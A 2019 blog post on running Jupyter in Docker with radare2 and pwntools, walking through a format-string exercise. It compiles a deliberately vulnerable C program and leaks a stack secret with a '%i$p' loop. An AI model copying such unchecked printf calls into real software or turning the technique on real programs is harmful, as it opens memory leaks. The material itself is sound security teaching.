Sun 18 August 2019 | tags: jupyter automation radare2

I've been tripping with Jupyter a lot lately. I love that it's both a markdown editor and a live python code prompt, and I've been working on making the most out of it. So far, I've mostly used it to document my capture-the-flag challenges, but I think that in the long term it could serve as a collaborative reporting and pentesting tool. I've still got a long way to go until that happens, but in the meantime I thought I'd collect my thoughts in blog post form :)

Installing jupyter

The beautiful thing about jupyter is that it runs on python. If you have python running, launching python -m pip install jupyter will be enough to get you going. Simple, right? Yeah, too simple for me. Boring. This why I decided that I wanted to get my jupyter notebook running in a docker \_(^.^)_/ . Seriously, though, running jupyter in a docker makes it portable across operating systems, and keeps it clean and independent from your host's installation. Also, it's a web application... that can access your file system and allow you to run code on it. A modicum of isolation is in order here.

I have two files: a Dockerfile for setting up my docker image, and a Makefile for building, running and stopping and starting my container.

Here's the Dockerfile:

FROM ubuntu RUN apt-get update RUN apt-get upgrade -y RUN apt-get install -y python3 python3-pip python python-pip radare2 build-essential RUN python3 -m pip install ipython jupyter RUN python -m pip install pwntools r2pipe pwntools-dbg-r2 ipython jupyter RUN useradd -ms /bin/bash jupyter USER jupyter WORKDIR /notebook

A couple of notes, here: first, you'll notice I'm installing python 2 and 3, along with the jupyter packages for both. The order of installation is important - first python3, then python2. I'm installing python 2 here because I want to use pwntools, but I also want python 3 up and running because it's 2019 and python 2 will eventually go the way of the dodo. Second, you could just install python3 , python3-pip and run a nice, clean jupyter notebook that doesn't have all this additional stuff I've shoved into my docker. However, I want this extra stuff because I'm interested in using jupyter for pwnage! Last but not least: I create a non-root user for my docker called jupyter . If someone manages to gain access to my notebook, then they're a bit more limited with regards to the damage they could do.

Here's the Makefile:

docker : docker build - t jupyter . docker - run : docker run -- cap - add = SYS_PTRACE -- security - opt seccomp = unconfined -- name jupyter - notebook - p 127.0 . 0.1 : 8888 : 8888 - v /home/inf0junki3/notebook:/ notebook - it jupyter jupyter notebook -- ip 0.0 . 0.0 docker - start : docker start jupyter - notebook docker - stop : docker stop jupyter - notebook

You'll notice that my docker-run task forwards my container's port 8888 to my loopback address at port 8888. It also maps a local directory, /home/myuser/notebook , to the /notebook directory on the container. Anything I write in my notebook gets saved on my host system - so I can delete my docker, update it, tweak it, recreate it, and what have you without losing my notebooks. In fact... As I write this (in jupyter) I keep stopping my container, tweaking it and rebuilding it. A bit tedious, like anything repetitive is bound to be - but otherwise easy and with no data loss. One quick last thing to point out here: you need the --cap-add=SYS_PTRACE --security-opt seccomp=unconfined portion to allow debugging in the container; in principle this should be OK... But I'll admit that I still have a lot to learn about docker security. My current thinking is that the container is running with a non-privileged user, and that the pid namespace is different than the host's namespace.

Your first jupyter pwn

Jupyter can execute python out-of-the box. For example:

import pip pip . main ([ "install" , "requests" ]) import requests response = requests . get ( "https://heapspray.io/vnc-passwords.html" ) print ( response . text )

Collecting requests Using cached https : //files.pythonhosted.org/packages/7d/e3/20f3d364d6c8e5d2353c72a67778eb189176f08e873c9900e10c0287b84b/requests-2.21.0-py2.py3-none-any.whl Collecting urllib3 < 1.25 , >= 1.21.1 ( from requests ) Using cached https : //files.pythonhosted.org/packages/62/00/ee1d7de624db8ba7090d1226aebefab96a2c71cd5cfa7629d6ad3f61b79e/urllib3-1.24.1-py2.py3-none-any.whl Collecting certifi >= 2017.4.17 ( from requests ) Using cached https : //files.pythonhosted.org/packages/60/75/f692a584e85b7eaba0e03827b3d51f45f571c2e793dd731e598828d380aa/certifi-2019.3.9-py2.py3-none-any.whl Collecting chardet < 3.1.0 , >= 3.0.2 ( from requests ) Using cached https : //files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl Collecting idna < 2.9 , >= 2.5 ( from requests ) Using cached https : //files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl Installing collected packages : urllib3 , certifi , chardet , idna , requests Successfully installed certifi - 2019.3.9 chardet - 3.0.4 idna - 2.8 requests - 2.21.0 urllib3 - 1.24.1 <! DOCTYPE html > < html lang = "en" > < head > < meta charset = "utf-8" /> < title > VNC passwords </ title > < link rel = "stylesheet" href = "/theme/css/main.css" /> <!-- [ if IE ] > < script src = "http://html5shiv.googlecode.com/svn/trunk/html5.js" ></ script > <! [ endif ] --> </ head > < body id = "index" class = "home" > < header id = "banner" class = "body" > < h1 >< a href = "/" > heapspray . io - a plethora of infosec garbage . </ a ></ h1 > < nav >< ul > </ ul > </ nav > </ header ><!-- / # banner --> < section id = "content" class = "body" > < article > < header > < h1 class = "entry-title" > < a href = "/vnc-passwords.html" rel = "bookmark" title = "Permalink to VNC passwords" > VNC passwords </ a ></ h1 > </ header > < div class = "entry-content" > < footer class = "post-info" > < span > Wed 12 March 2014 </ span > </ footer ><!-- / . post - info --> < p > We like to think of VNC passwords as encrypted ; but when you consider that they ' re encrypted using DES ( a weak encryption algorithm ) with a key that is hardcoded ... Well ... That pretty much makes VNC passwords & nbsp ; < em > encoded </ em >& nbsp ; and not & nbsp ; < em > encrypted </ em > . There are a few VNC password revealers out there , such as & nbsp ; < a class = "reference external" href = "https://github.com/jeroennijhof/vncpwd" > vncpwd </ a >& nbsp ; or & nbsp ; < a class = "reference external" href = "http://www.nirsoft.net/utils/vnc_password.html" > VNCPassView </ a > , the former can be used in Linux and the latter in Windows . A prerequisite to using these is that you have access to the VNC passwd file and / or registry . Other tools exist to snarf the VNC password out of network captures . </ p > </ div ><!-- / . entry - content --> </ article > </ section > < section id = "extras" class = "body" > < div class = "blogroll" > < h2 > blogroll </ h2 > < ul > < li >< a href = "https://deadc0de.re/" > deadc0de . re </ a ></ li > < li >< a href = "https://0xabe.io/" > 0xabe . io </ a ></ li > < li >< a href = "https://www.freeture.ch/" > freeture . ch </ a ></ li > < li >< a href = "https://rolinh.ch/" > rolinh . ch </ a ></ li > </ ul > </ div ><!-- / . blogroll --> < div class = "social" > < h2 > social </ h2 > < ul > < li >< a href = "https://twitter.com/Inf0Junki3" > Twitter </ a ></ li > < li >< a href = "https://delicious.com/redparanoid" > Delicious </ a ></ li > </ ul > </ div ><!-- / . social --> </ section ><!-- / # extras --> < footer id = "contentinfo" class = "body" > < p > Powered by < a href = "http://getpelican.com/" > Pelican </ a > . Theme < a href = "https://github.com/blueicefield/pelican-blueidea/" > blueidea </ a > , inspired by the default theme . </ p > </ footer ><!-- / # contentinfo --> </ body > </ html >

See what I did, there? I actually installed a python module, requests, via pip and then used it! Cool. In this manner, you could pretty much install any pre-requisites you need in your docker on-the-fly, and use it for your pwns. There is one caveat: for packages that require a terminal (such as pwntools), you do have to specify environment variables at least once in the notebook before you use them:

% env TERMINFO =/ usr / share / terminfo % env PWNLIB_NOTERM = true from pwn import * import r2pipe

env : TERMINFO =/ usr /share/ terminfo env : PWNLIB_NOTERM = true

Now, you should be able to use pwntools to your heart's content.

Prepping pwnable code

Let's take a look at an example, now. I lifted this code off of a site called geeksforgeeks:

VULNERABLE_CODE = """ // A simple C program with format // string vulnerability #include<stdio.h> int main(int argc, char** argv) { char secret[7] = "penguin"; char buffer[100]; strncpy(buffer, argv[1], 100); // We are passing command line // argument to printf printf(buffer); return 0; } """

Didn't look at the solution, because I wanted to solve this from jupyter. Let's compile this:

with open ( "vulnerable.c" , "w" ) as vulnerable_file : vulnerable_file . write ( VULNERABLE_CODE ) import os os . system ( "gcc vulnerable.c -o vulnerable -no-pie" ) print ( os . path . exists ( "vulnerable" ))

True

Running r2pipe

Let's see how this loads up, now. I'm going to tell r2 to open vulnerable in debug mode:

r2 = r2pipe . open ( "vulnerable" , flags = [ "-d" , "-e" , "scr.color=true" ]) r2 . cmd ( "aaaa" ) r2 . cmd ( "doo aaaabbbbccccdddd" ) print ( r2 . cmd ( "iy" )) print ( r2 . cmd ( "is" )) print ( r2 . cmd ( "pdf @ main" ))

blksz 0x0 block 0x100 fd 5 file / home / inf0junki3 / notebook / research / blog_posts / vulnerable format elf64 iorw true mode - rwx referer dbg : /// home / inf0junki3 / notebook / research / blog_posts / vulnerable aaaabbbbccccdddd type EXEC ( Executable file ) arch x86 binsz 6492 bintype elf bits 64 canary true class ELF64 crypto false endian little havecode true intrp / lib64 / ld - linux - x86 - 64. so .2 lang c linenum true lsyms true machine AMD x86 - 64 architecture maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE static false stripped false subsys linux va true [ Symbols ] 027 0x00000500 0x00400500 LOCAL FUNC 0 deregister_tm_clones 028 0x00000530 0x00400530 LOCAL FUNC 0 register_tm_clones 029 0x00000570 0x00400570 LOCAL FUNC 0 __do_global_dtors_aux 030 0x00001040 0x00601040 LOCAL OBJECT 1 completed .7697 031 0x00000e18 0x00600e18 LOCAL OBJECT 0 __do_global_dtors_aux_fini_array_entry 032 0x000005a0 0x004005a0 LOCAL FUNC 0 frame_dummy 033 0x00000e10 0x00600e10 LOCAL OBJECT 0 __frame_dummy_init_array_entry 036 0x000007ec 0x004007ec LOCAL OBJECT 0 __FRAME_END__ 038 0x00000e18 0x00600e18 LOCAL NOTYPE 0 __init_array_end 039 0x00000e20 0x00600e20 LOCAL OBJECT 0 _DYNAMIC 040 0x00000e10 0x00600e10 LOCAL NOTYPE 0 __init_array_start 041 0x000006b4 0x004006b4 LOCAL NOTYPE 0 __GNU_EH_FRAME_HDR 042 0x00001000 0x00601000 LOCAL OBJECT 0 _GLOBAL_OFFSET_TABLE_ 043 0x000006a0 0x004006a0 GLOBAL FUNC 2 __libc_csu_fini 045 0x00001030 0x00601030 WEAK NOTYPE 0 data_start 046 0x00001040 0x00601040 GLOBAL NOTYPE 0 _edata 047 0x000006a4 0x004006a4 GLOBAL FUNC 0 _fini 051 0x00001030 0x00601030 GLOBAL NOTYPE 0 __data_start 053 0x00001038 0x00601038 GLOBAL OBJECT 0 __dso_handle 054 0x000006b0 0x004006b0 GLOBAL OBJECT 4 _IO_stdin_used 055 0x00000630 0x00400630 GLOBAL FUNC 101 __libc_csu_init 056 0x00601048 0x00601048 GLOBAL NOTYPE 0 _end 057 0x000004f0 0x004004f0 GLOBAL FUNC 2 _dl_relocate_static_pie 058 0x000004c0 0x004004c0 GLOBAL FUNC 43 _start 059 0x00001040 0x00601040 GLOBAL NOTYPE 0 __bss_start 060 0x000005a7 0x004005a7 GLOBAL FUNC 134 main 061 0x00001040 0x00601040 GLOBAL OBJECT 0 __TMC_END__ 062 0x00000460 0x00400460 GLOBAL FUNC 0 _init 001 0x00000490 0x00400490 GLOBAL FUNC 16 imp . strncpy 002 0x000004a0 0x004004a0 GLOBAL FUNC 16 imp . __stack_chk_fail 003 0x000004b0 0x004004b0 GLOBAL FUNC 16 imp . printf 004 0x00000000 0x00400000 GLOBAL FUNC 16 imp . __libc_start_main 005 0x00000000 0x00400000 WEAK NOTYPE 16 imp . __gmon_start__ 004 0x00000000 0x00400000 GLOBAL FUNC 16 imp . __libc_start_main 005 0x00000000 0x00400000 WEAK NOTYPE 16 imp . __gmon_start__ ; -- main: / ( fcn ) sym . main 134 | sym . main (); | ; var int local_90h @ rbp - 0x90 | ; var int local_84h @ rbp - 0x84 | ; var int local_77h @ rbp - 0x77 | ; var int local_73h @ rbp - 0x73 | ; var int local_71h @ rbp - 0x71 | ; var int local_70h @ rbp - 0x70 | ; var int local_8h @ rbp - 0x8 | ; DATA XREF from 0x004004dd ( entry0 ) | 0x004005a7 55 push rbp | 0x004005a8 4889e5 mov rbp , rsp | 0x004005ab 4881 ec900000 . sub rsp , 0x90 | 0x004005b2 89 bd7cffffff mov dword [ local_84h ] , edi | 0x004005b8 4889 b570ffff . mov qword [ local_90h ] , rsi | 0x004005bf 64488 b042528 . mov rax , qword fs : [ 0x28 ] ; [ 0x28:8 ]=- 1 ; '(' ; 40 | 0x004005c8 488945 f8 mov qword [ local_8h ] , rax | 0x004005cc 31 c0 xor eax , eax | 0x004005ce c7458970656e . mov dword [ local_77h ] , 0x676e6570 | 0x004005d5 66 c7458d7569 mov word [ local_73h ] , 0x6975 | 0x004005db c6458f6e mov byte [ local_71h ] , 0x6e ; 'n' ; 110 | 0x004005df 488 b8570ffff . mov rax , qword [ local_90h ] | 0x004005e6 4883 c008 add rax , 8 | 0x004005ea 488 b08 mov rcx , qword [ rax ] | 0x004005ed 488 d4590 lea rax , qword [ local_70h ] | 0x004005f1 ba64000000 mov edx , 0x64 ; 'd' ; 100 ; size_t n | 0x004005f6 4889 ce mov rsi , rcx ; const char * src | 0x004005f9 4889 c7 mov rdi , rax ; char * dest | 0x004005fc e88ffeffff call sym . imp . strncpy ; char * strncpy ( char * dest , const char * src , size_t n ) | 0x00400601 488 d4590 lea rax , qword [ local_70h ] | 0x00400605 4889 c7 mov rdi , rax ; const char * format | 0x00400608 b800000000 mov eax , 0 | 0x0040060d e89efeffff call sym . imp . printf ; int printf ( const char * format ) | 0x00400612 b800000000 mov eax , 0 | 0x00400617 488 b55f8 mov rdx , qword [ local_8h ] | 0x0040061b 644833142528. xor rdx , qword fs : [ 0x28 ] | , =< 0x00400624 7405 je 0x40062b | | 0x00400626 e875feffff call sym . imp . __stack_chk_fail ; void __stack_chk_fail ( void ) | ` -> 0x0040062b c9 leave \ 0x0040062c c3 ret

One should note here that on my physical host I had r2dec running as well, which allowed me to decompile the code with pdd @ main . Sadly, this doesn't work in my docker setup. Why? Because the current version of the radare2 package in the apt repository appears to be behind the packages set up with r2pm - so r2dec fails to compile. One way of addressing this is to get the latest version of radare2 - there are even nifty instructions on how to do this here: http://radare.today/posts/getting-the-latest-radare2/. But I'm happy to look at the disassembly for now; the r2dec decompiler does not bring all that much when compared to Ida Pro's decompiler or ghidra's. Maybe one day I'll change my mind.

As an argument, I specified "aaaabbbbccccdddd". I want to leak the secret here, which is "penguin". I want to break right after printf and then show the stack:

r2 . cmd ( "db 0x0040060d" ) r2 . cmd ( "dcu main" ) r2 . cmd ( "dc" )

u''

To dump the same kind of information that I would see in Radare2's visual mode, I'd use something like this:

print ( r2 . cmd ( "px @ rsp" )) print ( r2 . cmd ( "dr" )) print ( r2 . cmd ( "pd" ))

- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 01234567 89 ABCDEF 0x7ffcf638f620 98f 7 38f 6 fc7f 0000 1057 43 c1 0200 0000 . .8 ...... WC ..... 0x7ffcf638f630 0000 0000 0000 0000 0070 656 e 6775 696 e ......... penguin 0x7ffcf638f640 6161 6161 6262 6262 6363 6363 6464 6464 aaaabbbbccccdddd 0x7ffcf638f650 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f660 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f670 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f680 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f690 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f6a0 0000 0000 fc7f 0000 00 dc 7 cdd 00 9 c 645 a .......... | ... dZ 0x7ffcf638f6b0 3006 4000 0000 0000 97 cb e3c0 3 b7f 0000 0. @.........;... 0x7ffcf638f6c0 0200 0000 0000 0000 98f 7 38f 6 fc7f 0000 ......... .8 ..... 0x7ffcf638f6d0 00 80 0000 0200 0000 a705 4000 0000 0000 [email protected] 0x7ffcf638f6e0 0000 0000 0000 0000 0003 f09f 5110 ec2b ............ Q .. + 0x7ffcf638f6f0 c004 4000 0000 0000 90f 7 38f 6 fc7f 0000 [email protected] .8 ..... 0x7ffcf638f700 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f710 0003 107 e a0fc 15 d4 0003 0e05 1691 9 bd5 ... ~ ............ rax = 0x00000000 rbx = 0x00000000 rcx = 0x7f3bc0ed28a0 rdx = 0x00000000 r8 = 0x00000004 r9 = 0x7f3bc1207d80 r10 = 0x00000003 r11 = 0x7f3bc0fca550 r12 = 0x004004c0 r13 = 0x7ffcf638f790 r14 = 0x00000000 r15 = 0x00000000 rsi = 0x00000001 rdi = 0x7ffcf638f640 rsp = 0x7ffcf638f620 rbp = 0x7ffcf638f6b0 rip = 0x0040060d rflags = 0x00000203 orax = 0xffffffffffffffff | ; -- rip : | 0x0040060d b e89efeffff call sym . imp . printf ; int printf ( const char * format ) | 0x00400612 b800000000 mov eax , 0 | 0x00400617 488 b55f8 mov rdx , qword [ local_8h ] | 0x0040061b 644833142528. xor rdx , qword fs :[ 0x28 ] | , =< 0x00400624 7405 je 0x40062b | | 0x00400626 e875feffff call sym . imp . __stack_chk_fail ; void __stack_chk_fail ( void ) | ` -> 0x0040062b c9 leave \ 0x0040062c c3 ret 0x0040062d 0f1f 00 nop dword [ rax ] / ( fcn ) sym . __libc_csu_init 101 | sym . __libc_csu_init (); | ; DATA XREF from 0x004004d6 ( entry0 ) | 0x00400630 4157 push r15 | 0x00400632 4156 push r14 | 0x00400634 4989 d7 mov r15 , rdx | 0x00400637 4155 push r13 | 0x00400639 4154 push r12 | 0x0040063b 4 c8d25ce0720 . lea r12 , qword obj . __frame_dummy_init_array_entry ; loc . __init_array_start ; 0x600e10 | 0x00400642 55 push rbp | 0x00400643 488 d2dce0720 . lea rbp , qword obj . __do_global_dtors_aux_fini_array_entry ; loc . __init_array_end ; 0x600e18 ; "p \x05 @" | 0x0040064a 53 push rbx | 0x0040064b 4189f d mov r13d , edi | 0x0040064e 4989f 6 mov r14 , rsi | 0x00400651 4 c29e5 sub rbp , r12 | 0x00400654 4883 ec08 sub rsp , 8 | 0x00400658 48 c1fd03 sar rbp , 3 | 0x0040065c e8fffdffff call sym . _init | 0x00400661 4885 ed test rbp , rbp | , =< 0x00400664 7420 je 0x400686 | | 0x00400666 31 db xor ebx , ebx | | 0x00400668 0f1f84000000. nop dword [ rax + rax ] | . --> 0x00400670 4 c89fa mov rdx , r15 | :| 0x00400673 4 c89f6 mov rsi , r14 | :| 0x00400676 4489 ef mov edi , r13d | :| 0x00400679 41ff 14 dc call qword [ r12 + rbx * 8 ] | :| 0x0040067d 4883 c301 add rbx , 1 | :| 0x00400681 4839 dd cmp rbp , rbx | ` ==< 0x00400684 75 ea jne 0x400670 | ` -> 0x00400686 4883 c408 add rsp , 8 | 0x0040068a 5 b pop rbx | 0x0040068b 5 d pop rbp | 0x0040068c 415 c pop r12 | 0x0040068e 415 d pop r13 | 0x00400690 415 e pop r14 | 0x00400692 415f pop r15 \ 0x00400694 c3 ret 0x00400695 90 nop 0x00400696 662e0 f1f8400 . nop word cs :[ rax + rax ] / ( fcn ) sym . __libc_csu_fini 2 | sym . __libc_csu_fini (); | ; DATA XREF from 0x004004cf ( entry0 ) \ 0x004006a0 f3c3 ret ; -- section_end .. text : 0x004006a2 0000 add byte [ rax ], al | ; -- section .. fini : / ( fcn ) sym . _fini 9 | sym . _fini (); | 0x004006a4 4883 ec08 sub rsp , 8 ; [ 14 ] -- r - x section size 9 named . fini | 0x004006a8 4883 c408 add rsp , 8 \ 0x004006ac c3 ret ; -- section_end .. fini : 0x004006ad 0000 add byte [ rax ], al 0x004006af ~ 0001 add byte [ rcx ], al ; -- section .. rodata : ; -- _IO_stdin_used : 0x004006b0 0100 add dword [ rax ], eax ; [ 15 ] -- r -- section size 4 named . rodata 0x004006b2 0200 add al , byte [ rax ] ; -- section_end .. rodata : ; -- section .. eh_frame_hdr : ; -- section . GNU_EH_FRAME : ; -- __GNU_EH_FRAME_HDR : 0x004006b4 011 b add dword [ rbx ], ebx ; [ 35 ] m - r -- section size 60 named GNU_EH_FRAME 0x004006b6 033 b add edi , dword [ rbx ] 0x004006b8 3800 cmp byte [ rax ], al ; [ 0x2 : 1 ] = 255 ; 2 0x004006ba 0000 add byte [ rax ], al 0x004006bc 06 invalid 0x004006bd 0000 add byte [ rax ], al 0x004006bf 00 cc add ah , cl 0x004006c1 fd std 0x004006c2 ff invalid 0x004006c3 ff940000000c . call qword [ rax + rax - 0x1f40000 ]

Looking at the output from above, the secret is at 0x7ffcf638f639 while the rsp is at 0x7ffcf638f620. With the format string bug, if we read 32 bytes off the stack the last 8 will correspond to our secret.

print ( r2 . cmd ( "px @ rsp+24" ))

- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffcf638f638 0070 656e 6775 696e 6161 6161 6262 6262 .penguinaaaabbbb 0x7ffcf638f648 6363 6363 6464 6464 0000 0000 0000 0000 ccccdddd........ 0x7ffcf638f658 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f668 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f678 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f688 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x7ffcf638f698 0000 0000 0000 0000 0000 0000 fc7f 0000 ................ 0x7ffcf638f6a8 00dc 7cdd 009c 645a 3006 4000 0000 0000 .. | [email protected] 0x7ffcf638f6b8 97cb e3c0 3b7f 0000 0200 0000 0000 0000 .... ; ........... 0x7ffcf638f6c8 98f7 38f6 fc7f 0000 0080 0000 0200 0000 ..8............. 0x7ffcf638f6d8 a705 4000 0000 0000 0000 0000 0000 0000 [email protected] 0x7ffcf638f6e8 0003 f09f 5110 ec2b c004 4000 0000 0000 [email protected] 0x7ffcf638f6f8 90f7 38f6 fc7f 0000 0000 0000 0000 0000 ..8............. 0x7ffcf638f708 0000 0000 0000 0000 0003 107e a0fc 15d4 ...........~.... 0x7ffcf638f718 0003 0e05 1691 9bd5 0000 0000 fc7f 0000 ................ 0x7ffcf638f728 0000 0000 0000 0000 0000 0000 0000 0000 ................

Ooooo, OK so we see our secret, "penguin", is on the stack. Next, I iterate across my parameters using %i$p , where "i" is the index of my parameter. Once I hit the 9th parameter, I find my secret:

from pwn import * import binascii for i in range ( 1 , 10 ): cur_process = process ([ "./vulnerable" , "% {} $p" . format ( i )]) output = cur_process . recv ( 1024 ) try : print ( " {} : {} " . format ( i , binascii . unhexlify ( output . replace ( "0x" , "" )))) except Exception : print ( " {} skipped..." . format ( i ))